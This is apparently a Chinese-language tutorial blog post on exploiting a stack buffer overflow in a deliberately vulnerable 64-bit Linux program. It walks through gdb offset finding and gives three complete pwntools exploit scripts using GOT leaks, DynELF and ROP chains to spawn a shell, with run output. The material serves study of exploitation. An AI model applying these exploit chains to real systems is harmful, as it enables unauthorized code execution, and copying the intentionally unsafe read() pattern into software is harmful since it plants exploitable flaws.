前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >(粉丝投稿)64位linux下栈溢出漏洞利用【结尾有巨大彩蛋哦!!】

(粉丝投稿)64位linux下栈溢出漏洞利用【结尾有巨大彩蛋哦!!】

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 11:47:09
3.7K0
发布2018-02-06 11:47:09
举报

64位linux下栈溢出漏洞利用

linux_64与linux_86的区别有:可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

有很多代码都是借鉴一步一步x64教程中的,然后发现x64教程中有很多问题,自己手动调试,写了三种利用方式,不过都大同小异。漏洞源码vuln.c:

![#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
    write(STDOUT_FILENO, "pwn it\n", 7);
    vulnerable_function();
}](http://note.youdao.com/favicon.ico)

编译命令:

gcc -fno-stack-protector vuln.c -o vuln

编译好之后,利用gdb调试vuln。我的gdb配合了peda和pwndbg这两个工具,看起来更加直观清楚。

```

Reading symbols from vuln...done.
pwndbg> pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
pwndbg> r
Starting program: /home/hackyzh/Desktop/pwn/vuln
Hello, World
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault.
--------------------------------
pwndbg> x/gx $rsp
0x7fffffffdeb8:    0x41416d4141514141

```

观察以上调试信息,可以观察到$rsp处的值为0x41416d4141514141,通过gdb-peda来计算溢出的地方,

```

pwndbg> pattern_offset 0x41416d4141514141
4702159612987654465 found at offset: 136

```

得到offset之后我们就可以尝试控制rip寄存器的值,返回到我们想要执行的地方。通过python命令来输出payload

python -c 'print "A"*136+"AAAAAA\x00\x00"' > payload。之后进行gdb调试,运行刚刚产生的payload。
```
[----------------------------------registers-----------------------------------]
RAX: 0x91
RBX: 0x0
RCX: 0x7ffff7b00330 (<__read_nocancel+7>:  cmp    rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffde30 ('A' <repeats 15 times>...)
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdec0 --> 0x7fffffffdf0a --> 0x49010c6ebf104ce
RIP: 0x414141414141 ('AAAAAA')
R8 : 0x7ffff7dd4e80 --> 0x0
R9 : 0x7ffff7dea700 (<_dl_fini>:     push   rbp)
R10: 0x7fffffffdbf0 --> 0x0
R11: 0x246
R12: 0x400490 (<_start>:      xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
```

观察到rip寄存器的值已经被我们控制。

写exp前先可以理解下这篇文章

http://bobao.360.cn/learning/detail/3298.html?utm_source=tuicool&utm_medium=referral。构造参数的时候需要寻找gadgats,可以利用__libc_csu_init函数中的gadgets来构造。

## 0x01 有libc情况下的利用

最终可以的exp如下所示:

```
#!/usr/bin/env python
from pwn import *
elf = ELF('vuln')
libc = ELF('libc.so.6')
p = process('./vuln')
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
start = 0x400490
poprdi=0x400633
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
payload1 =  "\x00"*136
payload1 += p64(0x40062a) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1) # pop_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(start)
p.recvuntil("pwn it\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601048
p.recvuntil("pwn it\n")
payload2 =  "\x00"*136
payload2 += p64(0x40062a) + p64(0) + p64(1) + p64(got_read) + p64(8) + p64(bss_addr) + p64(0) # pop_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(start)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send("/bin/sh\0")
sleep(1)
payload3 =  "\x00"*136
payload3 += p64(poprdi)+p64(bss_addr)
payload3 += p64(system_addr)
payload3 += p64(start)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()

```

以上地址硬编码的地址大多数可以用objdump -d vuln得出,运行结果如下

```

[*] '/home/hackyzh/Desktop/pwn/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/hackyzh/Desktop/pwn/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './vuln': pid 1769
got_write: 0x601018
got_read: 0x601020
off_system_addr: 0xa8df0
#############sending payload1#############
write_addr: 0x7ffff7b00380
system_addr: 0x7ffff7a57590
#############sending payload2#############
#############sending payload3#############
[*] Switching to interactive mode
Hello, World
$ id
uid=1000(hackyzh) gid=1000(hackyzh) groups=1000(hackyzh),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

```

## 0x02 无libc的情况下

最终的exp如下:

```

#!/usr/bin/env python
from pwn import *
elf = ELF('vuln')
p = process('./vuln')
got_write = elf.got['write']
print "got_write: "+ hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
start = 0x400490
bss_addr=0x601048
poprdi=0x400633
def leak(address):
    payload1 =  "\x00"*136
    payload1 += p64(0x40062a) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(address) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
    payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
    payload1 += "\x00"*56
    payload1 += p64(start)
    p.send(payload1)
    p.recvuntil("pwn it\n")
    data=p.recv(8)
    print "%#x => %s"% (address, (data or '').encode('hex'))
    return data
d=DynELF(leak, elf=ELF('./vuln'))
system_addr=d.lookup('__libc_system','libc')
print "systemAddress:", hex(system_addr)
payload2 =  "\x00"*136
payload2 += p64(0x40062a) + p64(0) + p64(1) + p64(got_read) + p64(8) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(start)
print "\n#############Write /bin/sh#############\n"
p.send(payload2)
sleep(1)
p.send("/bin/sh\0")
sleep(1)
print "\n#############Get Shell#############\n"
payload3 =  "\x00"*136
payload3 += p64(poprdi)+p64(bss_addr)
payload3 += p64(system_addr)
payload3 += p64(start)
sleep(1)
p.send(payload3)
p.interactive()

```

运行结果如下:

```

[*] '/home/hackyzh/Desktop/pwn/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './vuln': pid 2242
got_write: 0x601018
got_read: 0x601020
0x400000 => 7f454c4602010100
[+] Loading from '/home/hackyzh/Desktop/pwn/vuln': 0x7ffff7ffe1c8
0x601008 => c8e1fff7ff7f0000
[+] Resolving '__libc_system' in 'libc.so': 0x7ffff7ffe1c8
0x600e28 => 0100000000000000
0x600e38 => 0c00000000000000
0x600e48 => 0d00000000000000
0x600e58 => 1900000000000000
0x600e68 => 1b00000000000000
0x600e78 => 1a00000000000000
0x600e88 => 1c00000000000000
0x600e98 => f5feff6f00000000
0x600ea8 => 0500000000000000
0x600eb8 => 0600000000000000
0x600ec8 => 0a00000000000000
0x600ed8 => 0b00000000000000
0x600ee8 => 1500000000000000
0x600ef8 => 0300000000000000
0x600f00 => 0010600000000000
0x7ffff7ffe1e8 => 0000000000000000
0x7ffff7ffe1d0 => 58e7fff7ff7f0000
0x7ffff7ffe758 => 0000000000000000
0x7ffff7ffe1e0 => 60e7fff7ff7f0000
0x7ffff7ffe768 => f0ebfff7ff7f0000
0x7ffff7ffebf0 => 0000000000000000
0x7ffff7ffe778 => c074fff7ff7f0000
0x7ffff7ff74c8 => a074fff7ff7f0000
0x7ffff7ff74a0 => 2f6c69622f783836
0x7ffff7ff74a8 => 5f36342d6c696e75
0x7ffff7ff74b0 => 782d676e752f6c69
0x7ffff7ff74b8 => 62632e736f2e3600
0x7ffff7ff74c0 => 0010a1f7ff7f0000
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
0x7ffff7a11000 => 7f454c4602010100
0x7ffff7ff74d0 => a02bddf7ff7f0000
0x7ffff7dd2ba0 => 0100000000000000
0x7ffff7dd2bb0 => 0e00000000000000
0x7ffff7dd2bc0 => 0c00000000000000
0x7ffff7dd2bd0 => 1900000000000000
0x7ffff7dd2be0 => 1b00000000000000
0x7ffff7dd2bf0 => 0400000000000000
0x7ffff7dd2c00 => f5feff6f00000000
0x7ffff7dd2c10 => 0500000000000000
0x7ffff7dd2c20 => 0600000000000000
0x7ffff7dd2c30 => 0a00000000000000
0x7ffff7dd2c40 => 0b00000000000000
0x7ffff7dd2c50 => 0300000000000000
0x7ffff7dd2c58 => 0030ddf7ff7f0000
0x7ffff7a11010 => 03003e0001000000
0x7ffff7dd3008 => c074fff7ff7f0000
0x7ffff7ff74e0 => 60e7fff7ff7f0000
0x7ffff7ffe780 => c8e1fff7ff7f0000
0x7ffff7a11180 => 4400000000000000
[*] Magic did not match
[*] .gnu.hash/.hash, .strtab and .symtab offsets
[*] Found DT_GNU_HASH at 0x7ffff7dd2c00
0x7ffff7dd2c08 => b812a1f7ff7f0000
[*] Found DT_STRTAB at 0x7ffff7dd2c10
0x7ffff7dd2c18 => c81da2f7ff7f0000
[*] Found DT_SYMTAB at 0x7ffff7dd2c20
0x7ffff7dd2c28 => 304da1f7ff7f0000
[*] .gnu.hash parms
0x7ffff7a112b8 => f30300000a000000
0x7ffff7a112c0 => 000100000e000000
[*] hash chain index
0x7ffff7a11f3c => 4102000044020000
[*] hash chain
0x7ffff7a13370 => c08106920c7e6fff
0x7ffff7a18348 => c32d000012000c00
0x7ffff7a24b8b => 5f5f6c6962635f73
0x7ffff7a24b93 => 797374656d007474
0x7ffff7a18350 => 9065040000000000
systemAddress: 0x7ffff7a57590
#############Write /bin/sh#############
#############Get Shell#############
[*] Switching to interactive mode
Hello, World
Hello, World
$ id
uid=1000(hackyzh) gid=1000(hackyzh) groups=1000(hackyzh),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

```

## 0x03 更加直接暴力的方法

假如代码直接用strcpy造成的溢出,不能泄漏内存地址的话,可以直接搜索system地址,计算出/bin/sh地址或者直接搜索,接着构造rop链。

```
pwndbg> b main
Breakpoint 1 at 0x4005a1
pwndbg> r
Starting program: /home/hackyzh/Desktop/pwn/vuln
......
pwndbg> p system
$1 = {<text variable, no debug info>} 0x7ffff7a57590 <__libc_system>
pwndbg> p exit
$1 = {<text variable, no debug info>} 0x7ffff7a4d1e0 <__GI_exit>
```

最终构造exp:

```

from pwn import *
libc = ELF('libc.so.6')
elf = ELF('vuln')
p=process('./vuln')
poprdi=0x400633
system_addr=0x7ffff7a57590
exit=0x7ffff7a4d1e0
binsh_addr = system_addr - (libc.symbols['system'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
print "\n#############Get Shell#############\n"
payload3 =  "\x00"*136
payload3 += p64(poprdi)+p64(binsh_addr)
payload3 += p64(system_addr)
payload3 += p64(exit)
sleep(1)
p.send(payload3)
p.interactive()

```

还可以简化exp,在找到binsh_addr后硬编码。

## 0x04 结论

参考文章非常经典,不过里面的代码有误,可以结合上面的链接一起看,然后自己手动调试,很容易搞懂。本人水平有限,如有错误望斧正。

参考:http://cb.drops.wiki/drops/papers-7551.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-09-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 64位linux下栈溢出漏洞利用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档